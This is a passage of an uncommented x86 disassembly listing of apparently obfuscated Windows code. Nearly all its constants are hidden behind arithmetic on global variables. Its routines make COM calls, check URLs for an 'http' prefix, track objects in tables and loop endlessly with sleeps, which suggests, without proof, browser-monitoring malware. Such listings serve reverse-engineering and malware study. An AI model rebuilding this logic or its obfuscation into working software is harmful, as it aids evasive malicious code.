sub_441E2E	proc near		; CODE XREF: sub_441843+1CFp

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000000h
		push	offset dword_4CA230
		call	ds:dword_54DB18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_441E78
		mov	eax, dword_54F0D8
		sub	eax, 6
		mov	edx, dword_54F0A0
		add	edx, dword_54F1BC
		sub	edx, 9
		mov	[esi+eax], dl
		jmp	loc_441F01
; ---------------------------------------------------------------------------


loc_441E78:				; CODE XREF: sub_441E2E+29j
		push	0
		movsx	eax, word_54F1CC
		sub	eax, 9
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_54DF30
		mov	eax, dword_54F184
		movsx	edx, word_54F0B4
		add	eax, edx
		sub	eax, 9
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		movsx	eax, word_54F148
		movsx	edx, word_54F144
		lea	eax, [eax+edx+0Fh]
		push	eax
		push	esi
		push	edi
		call	ds:dword_446034
		mov	ebx, eax
		push	edi
		call	ds:dword_4CB948
		movsx	eax, word_54F128
		movsx	edx, word_54F118
		add	eax, edx
		sub	eax, 0Dh
		cmp	ebx, eax
		jnz	short loc_441F01
		mov	eax, dword_54F0AC
		add	eax, dword_54F1E4
		sub	eax, 0Bh
		movsx	edx, word_54F0C4
		add	edx, dword_54F0B0
		sub	edx, 0Bh
		mov	[esi+eax], dl


loc_441F01:				; CODE XREF: sub_441E2E+45j
					; sub_441E2E+B0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_441E2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441F06	proc near		; CODE XREF: sub_44526D+1Ep
					; sub_44526D+259p

var_10088	= dword	ptr -10088h
var_10084	= dword	ptr -10084h
var_10080	= dword	ptr -10080h
var_1007C	= dword	ptr -1007Ch
var_10078	= word ptr -10078h
var_10070	= dword	ptr -10070h
var_10064	= dword	ptr -10064h
var_10060	= dword	ptr -10060h
var_1005C	= dword	ptr -1005Ch
var_10055	= byte ptr -10055h
var_10054	= dword	ptr -10054h
var_10050	= dword	ptr -10050h
var_1004C	= dword	ptr -1004Ch
var_10048	= dword	ptr -10048h
var_10044	= dword	ptr -10044h
var_1003F	= byte ptr -1003Fh
var_40		= word ptr -40h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 10088h
		call	sub_4455B4
		push	ebx
		push	esi
		push	edi
		push	offset dword_54F7EC
		call	sub_43DEC5
		pop	ecx
		push	eax
		call	ds:dword_44700C
		mov	[ebp+var_38], eax
		mov	[ebp+var_40], 8
		lea	eax, [ebp+var_2C]
		push	eax
		lea	esi, [ebp+var_40]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		mov	eax, dword_54F188
		sub	eax, 5
		cmp	ebx, eax
		jz	short loc_441F62
		xor	eax, eax
		jmp	loc_44266C
; ---------------------------------------------------------------------------


loc_441F62:				; CODE XREF: sub_441F06+53j
		lea	eax, [ebp+var_24]
		push	eax
		push	offset dword_550A38
		mov	eax, [ebp+var_2C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_54F0EC
		dec	eax
		cmp	ebx, eax
		jnz	loc_442661
		lea	eax, [ebp+var_28]
		push	eax
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		mov	eax, dword_54F0E0
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_442658
		mov	eax, dword_54F158
		sub	eax, 3
		mov	[ebp+var_1C], eax
		jmp	loc_44264C
; ---------------------------------------------------------------------------


loc_441FB7:				; CODE XREF: sub_441F06+74Cj
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_10], eax
		mov	[ebp+var_18], 2
		lea	eax, [ebp+var_4]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_24]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	eax, dword_54F158
		sub	eax, 3
		cmp	ebx, eax
		jnz	loc_442649
		mov	eax, dword_54F204
		movsx	edx, word_54F0CC
		add	eax, edx
		sub	eax, 3
		mov	[ebp+var_10044], eax
		lea	eax, [ebp+var_10044]
		push	eax
		push	offset dword_550A48
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_54F13C
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_442615
		cmp	[ebp+var_10044], 0
		jz	loc_442615
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+var_10044]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F8h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_442615
		lea	eax, [ebp+var_1003F]
		push	eax
		push	[ebp+var_20]
		call	sub_43BBFE
		mov	eax, dword_54F12C
		sub	eax, 7
		push	eax
		push	offset dword_48A200
		lea	eax, [ebp+var_1003F]
		push	eax
		call	sub_43DE22
		add	esp, 14h
		mov	edi, dword_54F20C
		add	edi, 0FFFBh
		add	edi, dword_54F238
		cmp	eax, edi
		jz	loc_442615
		movsx	eax, word_54F1E8
		sub	eax, 6
		cmp	[ebp+arg_8], eax
		jnz	short loc_4420E0
		mov	eax, [ebp+var_10044]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax
		inc	eax
		jmp	loc_44266C
; ---------------------------------------------------------------------------


loc_4420E0:				; CODE XREF: sub_441F06+1BBj
		movsx	eax, word_54F194
		add	eax, dword_54F1C8
		sub	eax, 9
		mov	[ebp+var_1007C], eax
		lea	eax, [ebp+var_1007C]
		push	eax
		push	offset dword_550A68
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_54F0F8
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_442615
		mov	[ebp+var_10055], 44h
		push	offset word_54F7E2
		call	sub_43AAF7
		movsx	edi, word_54F218
		movsx	esi, word_54F128
		add	edi, esi
		sub	edi, 4
		push	edi
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_43DE22
		add	esp, 10h
		movsx	esi, word_54F190
		add	esi, 0FFF7h
		cmp	eax, esi
		jz	short loc_442170
		mov	[ebp+var_10055], 50h


loc_442170:				; CODE XREF: sub_441F06+261j
		push	offset word_54F7DA
		call	sub_43AAF7
		movsx	edi, word_54F208
		push	edi
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_43DE22
		add	esp, 10h
		mov	esi, dword_54F0C0
		add	esi, 0FFFDh
		cmp	eax, esi
		jz	short loc_4421A9
		mov	[ebp+var_10055], 43h


loc_4421A9:				; CODE XREF: sub_441F06+29Aj
		push	offset word_54F7D2
		call	sub_43AAF7
		mov	edi, dword_54F0EC
		add	edi, dword_54F11C
		sub	edi, 2
		push	edi
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_43DE22
		add	esp, 10h
		mov	esi, dword_54F1B0
		sub	esi, 3
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10064], edi
		mov	[ebp+var_10050], edi


loc_4421EC:				; CODE XREF: sub_441F06+2FCj
		mov	eax, [ebp+var_10050]
		cmp	[ebp+eax+var_1003F], 26h
		jz	short loc_442204
		inc	[ebp+var_10050]
		jmp	short loc_4421EC
; ---------------------------------------------------------------------------


loc_442204:				; CODE XREF: sub_441F06+2F4j
		mov	eax, [ebp+var_10050]
		mov	edx, dword_54F0A4
		sub	edx, 7
		mov	[ebp+eax+var_1003F], dl
		mov	eax, [ebp+var_10064]
		lea	eax, [ebp+eax+var_1003F]
		push	eax
		call	ds:dword_44701C
		mov	[ebp+var_10080], eax
		push	offset byte_54F7CB
		call	sub_43AAF7
		movsx	edi, word_54F244
		add	edi, dword_54F180
		sub	edi, 6
		push	edi
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_43DE22
		add	esp, 14h
		mov	esi, dword_54F170
		add	esi, dword_54F180
		dec	esi
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10064], edi
		mov	[ebp+var_10050], edi


loc_44227C:				; CODE XREF: sub_441F06+38Cj
		mov	eax, [ebp+var_10050]
		cmp	[ebp+eax+var_1003F], 26h
		jz	short loc_442294
		inc	[ebp+var_10050]
		jmp	short loc_44227C
; ---------------------------------------------------------------------------


loc_442294:				; CODE XREF: sub_441F06+384j
		mov	eax, [ebp+var_10050]
		mov	edx, dword_54F174
		sub	edx, 7
		mov	[ebp+eax+var_1003F], dl
		mov	eax, [ebp+var_10064]
		lea	eax, [ebp+eax+var_1003F]
		push	eax
		call	ds:dword_44701C
		pop	ecx
		mov	[ebp+var_1005C], eax
		mov	eax, dword_54F234
		add	eax, dword_54F20C
		sub	eax, 0Ch
		cmp	[ebp+var_10080], eax
		ja	short loc_442355
		mov	eax, dword_54F0BC
		mov	[ebp+var_10048], eax
		jmp	short loc_442339
; ---------------------------------------------------------------------------


loc_4422E8:				; CODE XREF: sub_441F06+44Dj
		mov	edi, [ebp+var_10048]
		mov	esi, edi
		shl	esi, 2
		movsx	edx, word_54F128
		sub	edx, 5
		cmp	ds:dword_4480E0[esi], edx
		jz	short loc_442333
		mov	edx, [ebp+var_1005C]
		cmp	ds:dword_447020[esi], edx
		jnz	short loc_442333
		mov	dl, ds:byte_4491B0[edi]
		cmp	dl, [ebp+var_10055]
		jnz	short loc_442333
		movsx	esi, word_54F208
		dec	esi
		mov	ds:dword_4480E0[edi*4],	esi


loc_442333:				; CODE XREF: sub_441F06+3FEj
					; sub_441F06+40Dj ...
		inc	[ebp+var_10048]


loc_442339:				; CODE XREF: sub_441F06+3E0j
		movsx	eax, word_54F0A8
		mov	edx, dword_54F1FC
		lea	eax, [eax+edx+3E8h]
		cmp	[ebp+var_10048], eax
		jb	short loc_4422E8


loc_442355:				; CODE XREF: sub_441F06+3D3j
		call	ds:dword_54CA70
		mov	[ebp+var_10060], eax
		mov	eax, dword_54F1EC
		movsx	edx, word_54F1C4
		add	eax, edx
		sub	eax, 0Bh
		mov	[ebp+var_1004C], eax
		jmp	short loc_4423E4
; ---------------------------------------------------------------------------


loc_44237A:				; CODE XREF: sub_441F06+4F4j
		mov	edi, [ebp+var_1004C]
		shl	edi, 2
		movsx	esi, word_54F164
		dec	esi
		cmp	ds:dword_4480E0[edi], esi
		jz	short loc_4423DE
		mov	edi, ds:dword_4CB950[edi]
		mov	esi, dword_54F1DC
		add	esi, 0EA60h
		mov	edx, dword_54F0C0
		inc	edx
		add	edx, dword_54F1AC
		imul	esi, edx
		add	edi, esi
		cmp	edi, [ebp+var_10060]
		jnb	short loc_4423DE
		mov	edi, [ebp+var_1004C]
		movsx	esi, word_54F194
		add	esi, dword_54F0DC
		sub	esi, 5
		mov	ds:dword_4480E0[edi*4],	esi


loc_4423DE:				; CODE XREF: sub_441F06+48Cj
					; sub_441F06+4B9j
		inc	[ebp+var_1004C]


loc_4423E4:				; CODE XREF: sub_441F06+472j
		mov	eax, dword_54F0DC
		add	eax, 3DFh
		add	eax, dword_54F0D4
		cmp	[ebp+var_1004C], eax
		jb	loc_44237A
		mov	eax, dword_54F200
		add	eax, dword_54F1FC
		sub	eax, 5
		mov	[ebp+var_10054], eax
		jmp	short loc_44243A
; ---------------------------------------------------------------------------


loc_442416:				; CODE XREF: sub_441F06+54Dj
		mov	edi, [ebp+var_10054]
		mov	esi, dword_54F11C
		add	esi, dword_54F1B4
		sub	esi, 6
		cmp	ds:dword_4480E0[edi*4],	esi
		jz	short loc_442455
		inc	[ebp+var_10054]


loc_44243A:				; CODE XREF: sub_441F06+50Ej
		mov	eax, dword_54F14C
		add	eax, 3DDh
		movsx	edx, word_54F13C
		add	eax, edx
		cmp	[ebp+var_10054], eax
		jb	short loc_442416


loc_442455:				; CODE XREF: sub_441F06+52Cj
		mov	edi, [ebp+var_10054]
		mov	esi, [ebp+var_1005C]
		mov	ds:dword_447020[edi*4],	esi
		mov	esi, [ebp+arg_0]
		mov	ds:dword_446060[edi*4],	esi
		mov	eax, edi
		mov	dl, [ebp+var_10055]
		mov	ds:byte_4491B0[eax], dl
		movsx	eax, word_54F1A8
		add	eax, dword_54F19C
		sub	eax, 4
		cmp	[ebp+var_10080], eax
		jbe	loc_44255F
		mov	esi, dword_54F1EC
		add	esi, 0FFFCh
		movsx	edx, word_54F218
		add	esi, edx
		mov	ds:word_489A10[edi*2], si
		mov	eax, dword_54F154
		add	eax, dword_54F220
		sub	eax, 0Ah
		mov	[ebp+var_10088], eax
		jmp	short loc_442547
; ---------------------------------------------------------------------------


loc_4424D0:				; CODE XREF: sub_441F06+651j
		mov	edi, [ebp+var_10088]
		mov	esi, edi
		shl	esi, 2
		mov	edx, dword_54F154
		movsx	ecx, word_54F190
		add	edx, ecx
		sub	edx, 10h
		cmp	ds:dword_4480E0[esi], edx
		jz	short loc_442541
		movzx	edx, ds:word_489A10[edi*2]
		mov	ecx, dword_54F178
		add	ecx, 0FFF6h
		movsx	eax, word_54F1A8
		add	ecx, eax
		cmp	edx, ecx
		jz	short loc_442541
		mov	edx, [ebp+var_1005C]
		cmp	ds:dword_447020[esi], edx
		jnz	short loc_442541
		mov	dl, ds:byte_4491B0[edi]
		cmp	dl, [ebp+var_10055]
		jnz	short loc_442541
		lea	edi, ds:489A10h[edi*2]
		inc	word ptr [edi]
		jmp	short loc_44257C
; ---------------------------------------------------------------------------


loc_442541:				; CODE XREF: sub_441F06+5EEj
					; sub_441F06+60Fj ...
		inc	[ebp+var_10088]


loc_442547:				; CODE XREF: sub_441F06+5C8j
		mov	eax, dword_54F0B8
		add	eax, 3E4h
		cmp	[ebp+var_10088], eax
		jb	loc_4424D0
		jmp	short loc_44257C
; ---------------------------------------------------------------------------


loc_44255F:				; CODE XREF: sub_441F06+591j
		mov	edi, [ebp+var_10054]
		mov	esi, dword_54F1BC
		add	esi, dword_54F188
		sub	esi, 0Ah
		mov	ds:word_489A10[edi*2], si


loc_44257C:				; CODE XREF: sub_441F06+639j
					; sub_441F06+657j
		call	ds:dword_54CA70
		mov	edi, [ebp+var_10054]
		mov	ds:dword_4CB950[edi*4],	eax
		lea	esi, off_54F2A8
		mov	ds:dword_4480E0[edi*4],	esi
		mov	edi, [ebp+var_10054]
		lea	edi, ds:4480E0h[edi*4]
		mov	[ebp+var_10084], edi
		mov	eax, edi
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		mov	edi, [ebp+var_10054]
		lea	edi, ds:4480E0h[edi*4]
		mov	[ebp+var_10070], edi
		mov	[ebp+var_10078], 9
		lea	esi, [ebp+var_10078]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_1007C]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+0A4h]
		mov	ebx, eax
		lea	eax, [ebp+var_10078]
		push	eax
		call	ds:dword_54E044
		inc	[ebp+var_10054]
		mov	eax, [ebp+var_1007C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_442615:				; CODE XREF: sub_441F06+138j
					; sub_441F06+145j ...
		mov	eax, dword_54F1A0
		sub	eax, 8
		cmp	[ebp+var_10044], eax
		jz	short loc_442631
		mov	eax, [ebp+var_10044]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_442631:				; CODE XREF: sub_441F06+71Dj
		movsx	eax, word_54F240
		sub	eax, 8
		cmp	[ebp+var_4], eax
		jz	short loc_442649
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_442649:				; CODE XREF: sub_441F06+F4j
					; sub_441F06+738j
		inc	[ebp+var_1C]


loc_44264C:				; CODE XREF: sub_441F06+ACj
		mov	eax, [ebp+var_28]
		cmp	[ebp+var_1C], eax
		jb	loc_441FB7


loc_442658:				; CODE XREF: sub_441F06+9Bj
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_442661:				; CODE XREF: sub_441F06+7Cj
		mov	eax, [ebp+var_2C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax


loc_44266C:				; CODE XREF: sub_441F06+57j
					; sub_441F06+1D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_441F06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442671	proc near		; CODE XREF: sub_44293B:loc_44293Ep

var_252		= byte ptr -252h
var_236		= dword	ptr -236h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_114]
		push	eax
		movsx	eax, word_54F1C4
		sub	eax, 8
		push	eax
		mov	eax, dword_54F154
		sub	eax, 8
		push	eax
		push	21h
		movsx	eax, word_54F164
		dec	eax
		push	eax
		call	ds:dword_489A00
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_4427C8
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4CA430
		mov	eax, dword_54F0DC
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_8]
		mov	ebx, dword_54F1BC
		add	ebx, 36h
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_A]
		movsx	ebx, word_54F144
		mov	esi, dword_54F0E8
		lea	ebx, [ebx+esi+13h]
		imul	ecx, ebx
		movsx	ebx, word_54F240
		add	ebx, 34h
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_E]
		movsx	ebx, word_54F118
		mov	esi, dword_54F1D0
		lea	ebx, [ebx+esi+0Fh]
		imul	ecx, ebx
		mov	ebx, dword_54F14C
		add	ebx, 15h
		movsx	esi, word_54F148
		add	ebx, esi
		imul	ecx, ebx
		movsx	ebx, word_54F13C
		mov	esi, dword_54F124
		lea	ebx, [ebx+esi+31h]
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_10]
		mov	ebx, dword_54F0DC
		add	ebx, 8
		imul	ecx, ebx
		mov	ebx, dword_54F188
		add	ebx, 11h
		add	ebx, dword_54F154
		imul	ecx, ebx
		movsx	ebx, word_54F0F8
		lea	eax, [ebx+eax+0Fh]
		imul	ecx, eax
		mov	eax, dword_54F1B8
		add	eax, 34h
		add	eax, dword_54F150
		imul	ecx, eax
		mov	eax, edx
		add	eax, ecx
		mov	ds:dword_446030, eax
		mov	eax, dword_54F22C
		add	eax, dword_54F180
		sub	eax, 6
		mov	[ebp+var_236], eax
		lea	esi, [ebp+var_252]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_114]
		push	edi
		call	sub_43BE84
		add	esp, 144h


loc_4427C8:				; CODE XREF: sub_442671+3Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_442671	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4427CD	proc near		; CODE XREF: sub_43BA83+5Bp

var_1007	= byte ptr -1007h
var_1006	= byte ptr -1006h
var_1002	= byte ptr -1002h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4455B4
		push	ebx
		push	esi
		push	edi
		push	offset byte_54F7B9
		call	sub_43AAF7
		pop	ecx
		mov	esi, dword_54F228
		sub	esi, 8
		push	esi
		push	eax
		movsx	esi, word_54F210
		sub	esi, 5
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_50C930
		mov	edi, eax
		mov	eax, dword_54F204
		sub	eax, 2
		cmp	edi, eax
		jnz	short loc_442818
		mov	edi, [ebp+arg_0]


loc_442818:				; CODE XREF: sub_4427CD+46j
		push	offset byte_54F7A3
		call	sub_43AAF7
		pop	ecx
		mov	esi, dword_54F180
		movsx	ebx, word_54F240
		add	esi, ebx
		sub	esi, 8
		push	esi
		push	eax
		movsx	esi, word_54F0B4
		add	esi, dword_54F158
		sub	esi, 8
		push	esi
		push	edi
		call	ds:dword_50C930
		mov	edi, eax
		lea	eax, [ebp+var_FFF]
		push	eax
		push	0FFFh
		push	0Dh
		push	edi
		call	ds:dword_446018
		mov	eax, dword_54F090
		add	eax, dword_54F1B4
		cmp	[ebp+eax+var_1007], 20h
		jnz	short loc_44288E
		mov	eax, dword_54F20C
		cmp	[ebp+eax+var_1002], 20h
		jz	loc_44291E


loc_44288E:				; CODE XREF: sub_4427CD+ACj
		lea	ecx, [ebp+var_FFF]
		or	eax, 0FFFFFFFFh


loc_442897:				; CODE XREF: sub_4427CD+CFj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_442897
		mov	ebx, dword_54F0EC
		add	ebx, 0Ch
		cmp	eax, ebx
		jb	short loc_44291E
		mov	eax, dword_54F0AC
		cmp	[ebp+eax+var_1006], 68h
		jnz	short loc_4428C9
		mov	eax, dword_54F24C
		cmp	[ebp+eax+var_1007], 74h
		jz	short loc_44291E


loc_4428C9:				; CODE XREF: sub_4427CD+EBj
		push	offset word_54F79E
		call	sub_43AAF7
		movsx	esi, word_54F164
		add	esi, 3
		push	esi
		push	eax
		lea	esi, [ebp+var_FFF]
		push	esi
		call	sub_43DE22
		add	esp, 10h
		movsx	ebx, word_54F0A8
		add	ebx, 0FFFFh
		cmp	eax, ebx
		jnz	short loc_44291E
		push	offset dword_54F798
		call	sub_43AAF7
		pop	ecx
		push	eax
		mov	esi, dword_54F1E4
		sub	esi, 4
		push	esi
		push	0Ch
		push	edi
		call	ds:dword_446018


loc_44291E:				; CODE XREF: sub_4427CD+BBj
					; sub_4427CD+DCj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4427CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442923	proc near		; CODE XREF: sub_43C397+4Ap
					; sub_43C397+5Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	[ebp+arg_0]
		push	dword_54F258
		call	ds:dword_4491AC
		mov	edi, eax
		pop	edi
		pop	ebp
		retn
sub_442923	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_44293B	proc near		; DATA XREF: sub_441843+19Ao
		push	ebp
		mov	ebp, esp


loc_44293E:				; CODE XREF: sub_44293B+2Dj
		call	sub_442671
		mov	eax, dword_54F204
		add	eax, 76h
		mov	edx, dword_54F0E0
		add	edx, 0EA58h
		add	edx, dword_54F124
		imul	eax, edx
		push	eax
		call	ds:dword_50C924
		pop	ecx
		jmp	short loc_44293E
sub_44293B	endp

; ---------------------------------------------------------------------------
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44296E	proc near		; CODE XREF: sub_4394E9+1Fp

var_71F16	= byte ptr -71F16h
var_71F14	= dword	ptr -71F14h
var_71F10	= dword	ptr -71F10h
var_71F0B	= byte ptr -71F0Bh
var_70F0C	= dword	ptr -70F0Ch
var_70F08	= word ptr -70F08h
var_70F00	= dword	ptr -70F00h
var_70EF4	= dword	ptr -70EF4h
var_70EEF	= byte ptr -70EEFh
var_60EF0	= word ptr -60EF0h
var_60EE8	= dword	ptr -60EE8h
var_60EDD	= byte ptr -60EDDh
var_60EDC	= dword	ptr -60EDCh
var_60ED8	= dword	ptr -60ED8h
var_60ED4	= dword	ptr -60ED4h
var_60ED0	= word ptr -60ED0h
var_60EC8	= dword	ptr -60EC8h
var_60EC0	= dword	ptr -60EC0h
var_60EBC	= dword	ptr -60EBCh
var_60EB8	= dword	ptr -60EB8h
var_60EB4	= dword	ptr -60EB4h
var_60EB0	= dword	ptr -60EB0h
var_60EAC	= dword	ptr -60EACh
var_60EA8	= dword	ptr -60EA8h
var_60EA4	= dword	ptr -60EA4h
var_60E9F	= byte ptr -60E9Fh
var_50EAC	= byte ptr -50EACh
var_50EA0	= dword	ptr -50EA0h
var_50E9B	= byte ptr -50E9Bh
var_40EB8	= byte ptr -40EB8h
var_40EB0	= dword	ptr -40EB0h
var_40EA8	= word ptr -40EA8h
var_40EA0	= dword	ptr -40EA0h
var_40E9C	= dword	ptr -40E9Ch
var_40E98	= dword	ptr -40E98h
var_40E94	= byte ptr -40E94h
var_40E90	= dword	ptr -40E90h
var_40E8C	= dword	ptr -40E8Ch
var_40E88	= dword	ptr -40E88h
var_40E84	= dword	ptr -40E84h
var_40E80	= byte ptr -40E80h
var_40E78	= dword	ptr -40E78h
var_40E70	= dword	ptr -40E70h
var_40E6C	= dword	ptr -40E6Ch
var_40E68	= dword	ptr -40E68h
var_40E64	= dword	ptr -40E64h
var_40E60	= dword	ptr -40E60h
var_40E5C	= dword	ptr -40E5Ch
var_40E57	= byte ptr -40E57h
var_40E56	= byte ptr -40E56h
var_40E55	= byte ptr -40E55h
var_40E54	= byte ptr -40E54h
var_30E58	= dword	ptr -30E58h
var_30E54	= dword	ptr -30E54h
var_30E50	= dword	ptr -30E50h
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30D4A	= byte ptr -30D4Ah
var_30D44	= byte ptr -30D44h
var_30D40	= byte ptr -30D40h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 71F14h
		call	sub_4455B4
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_40E80]
		push	eax
		call	ds:dword_446048
		lea	eax, [ebp+var_40E94]
		push	eax
		lea	eax, [ebp+var_40E80]
		push	eax
		push	9
		mov	eax, dword_54F1E4
		sub	eax, 4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4CA224
		mov	ebx, eax
		mov	eax, dword_54F100
		add	eax, dword_54F220
		sub	eax, 0Bh
		cmp	ebx, eax
		jnz	loc_4437C5
		mov	eax, dword_54F0E0
		sub	eax, 6
		mov	[ebp+var_40E60], eax
		mov	ecx, [ebp+var_40E78]
		mov	[ebp+var_40E64], ecx
		lea	ecx, [ebp+var_40E60]
		push	ecx
		push	offset dword_550AA8
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_54F234
		add	eax, dword_54F14C
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	loc_4437C5
		lea	eax, [ebp+var_40E84]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+78h]
		mov	ebx, eax
		mov	eax, dword_54F0BC
		add	eax, dword_54F1E0
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_4437B9
		lea	eax, [ebp+var_40E57]
		push	eax
		push	[ebp+var_40E84]
		call	sub_43BBFE
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_40E98], edi
		push	[ebp+var_40E84]
		call	ds:dword_54DF34
		cmp	[ebp+var_40E57], 68h
		jnz	short loc_442A8C
		cmp	[ebp+var_40E56], 74h
		jnz	short loc_442A8C
		cmp	[ebp+var_40E55], 74h
		jnz	short loc_442A8C
		cmp	[ebp+var_40E54], 70h
		jz	short loc_442A91


loc_442A8C:				; CODE XREF: sub_44296E+101j
					; sub_44296E+10Aj ...
		jmp	loc_4437B9
; ---------------------------------------------------------------------------


loc_442A91:				; CODE XREF: sub_44296E+11Cj
		lea	eax, [ebp+var_30E4C]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+94h]
		mov	ebx, eax
		mov	eax, dword_54F184
		add	eax, dword_54F18C
		sub	eax, 5
		cmp	ebx, eax
		jz	short loc_442ACC
		mov	eax, dword_54F180
		add	eax, dword_54F0BC
		mov	[ebp+var_30E4C], eax


loc_442ACC:				; CODE XREF: sub_44296E+14Bj
		lea	eax, [ebp+var_40E68]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+48h]
		mov	ebx, eax
		mov	eax, dword_54F130
		dec	eax
		cmp	ebx, eax
		jnz	loc_4437B9
		lea	eax, [ebp+var_40E6C]
		push	eax
		push	offset dword_550A28
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_54F10C
		sub	eax, 2
		cmp	ebx, eax
		jnz	loc_4437AD
		lea	eax, [ebp+var_40E70]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
